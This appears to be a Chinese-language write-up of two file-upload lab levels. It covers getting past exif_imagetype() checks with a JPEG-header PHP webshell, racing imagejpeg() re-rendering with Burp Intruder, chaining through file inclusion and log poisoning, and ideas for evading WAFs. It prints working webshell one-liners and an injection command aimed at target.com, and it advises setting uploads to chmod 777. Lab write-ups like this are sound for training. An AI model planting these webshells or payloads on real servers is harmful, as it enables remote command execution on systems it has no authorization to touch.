1. 第16关:exif_imagetype()函数的检测与绕过
1.1 函数原理与局限性分析
exif_imagetype()是PHP内置的图像类型检测函数,它会读取文件的前几个字节(即文件头)来判断图像类型。常见的文件头对应关系如下:
- JPEG:
FF D8 FF - PNG:
89 50 4E 47 - GIF:
47 49 46 38
这个函数看似可靠,但实际上存在两个致命缺陷。首先,它只检查文件头部特征,不验证整个文件结构的完整性。我曾在测试中发现,只要文件头符合标准,哪怕后续内容全是乱码也能通过检测。其次,函数对文件扩展名没有强制关联性检查,这意味着我们可以构造一个带有图片文件头的PHP文件。
1.2 实战绕过技巧详解
具体操作时,我推荐使用十六进制编辑器直接修改文件。以制作PHP图片马为例:
echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>' > shell.jpg.php这个命令创建的文件既保留了JPEG文件头特征,又包含可执行的PHP代码。上传后配合文件包含漏洞使用时,有几点需要注意:
- 包含路径要准确,最好使用绝对路径
- 参数传递时要确保特殊字符被正确编码
- 测试时建议先上传无害的phpinfo()验证可行性
我在实际测试中发现,某些WAF会对这种混合文件进行拦截。这时可以尝试调整PHP代码的位置,比如将恶意代码放在文件末尾,或者使用更隐蔽的编码方式。
2. 第17关:imagejpeg()渲染的时间竞争攻击
2.1 渲染机制与时间窗口分析
这一关的核心防御在于imagejpeg()函数会对上传图片进行重新渲染,理论上会破坏植入的恶意代码。但靶场实现中存在一个关键时序漏洞:
- 上传原始文件到临时目录(如/upload/temp.php)
- 调用imagejpeg()处理文件
- 将处理后的文件移动到正式目录(如/upload/processed.php)
- 删除原始临时文件
整个过程在步骤1和步骤4之间存在时间差,实测这个窗口期通常在50-300毫秒之间。虽然短暂,但足够发起有效的竞争条件攻击。
2.2 BurpSuite自动化攻击实战
要可靠地利用这个漏洞,需要精确控制请求时序。我的实战配置如下:
Intruder模块配置:
- 攻击类型选择"Pitchfork"
- 设置两个有效载荷:
- Payload 1:文件上传请求
- Payload 2:文件访问请求
- 线程数建议设为30-50(过高可能导致服务器崩溃)
关键参数调整:
POST /upload.php HTTP/1.1 Host: target.com Content-Length: 1234 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg [...文件内容...]- 成功率优化技巧:
- 在Repeater中预先测试单个请求的响应时间
- 根据响应时间设置Payload的延迟间隔
- 使用宏录制功能实现更精确的时序控制
3. 高级绕过技术延伸
3.1 文件包含漏洞的链式利用
单纯的图片马上传往往难以直接利用,需要结合其他漏洞形成攻击链。常见的组合方式包括:
- 本地文件包含(LFI):
include($_GET['page']);- 日志文件注入:
curl -A "<?php system($_GET['c']);?>" http://target.com- PHP伪协议:
php://filter/convert.base64-encode/resource=uploaded.jpg3.2 防御措施与绕过对策
现代WAF通常会采用多层检测机制:
- 文件内容签名检测(如ClamAV)
- 文件结构完整性验证
- 渲染后二次比对
针对这些防御,我总结出几种应对方案:
- 多阶段混淆:先上传合法图片,再通过路径遍历覆盖内容
- 条件触发:使用PHP的
__destruct()等魔术方法延迟执行 - 内存操作:利用GD库的图像处理函数内存破坏漏洞
4. 实战经验与调试技巧
4.1 高效调试方法论
在测试这类漏洞时,我习惯使用以下调试流程:
- 开启PHP错误日志:
display_errors = On error_reporting = E_ALL log_errors = On- 使用tcpdump抓包分析:
tcpdump -i eth0 -w upload.pcap port 80- 结合strace监控文件操作:
strace -f -e trace=file php upload_script.php4.2 常见问题解决方案
在实际测试中经常会遇到这些问题:
- 文件权限问题:
chmod -R 777 uploads/- 临时目录不可写:
ini_set('upload_tmp_dir', '/tmp');- 大小限制:
ini_set('upload_max_filesize', '10M');这些技巧虽然简单,但在真实环境中往往能解决80%的测试障碍。最后要强调的是,所有测试都应在授权范围内进行,每次测试前建议创建系统快照以便快速回滚。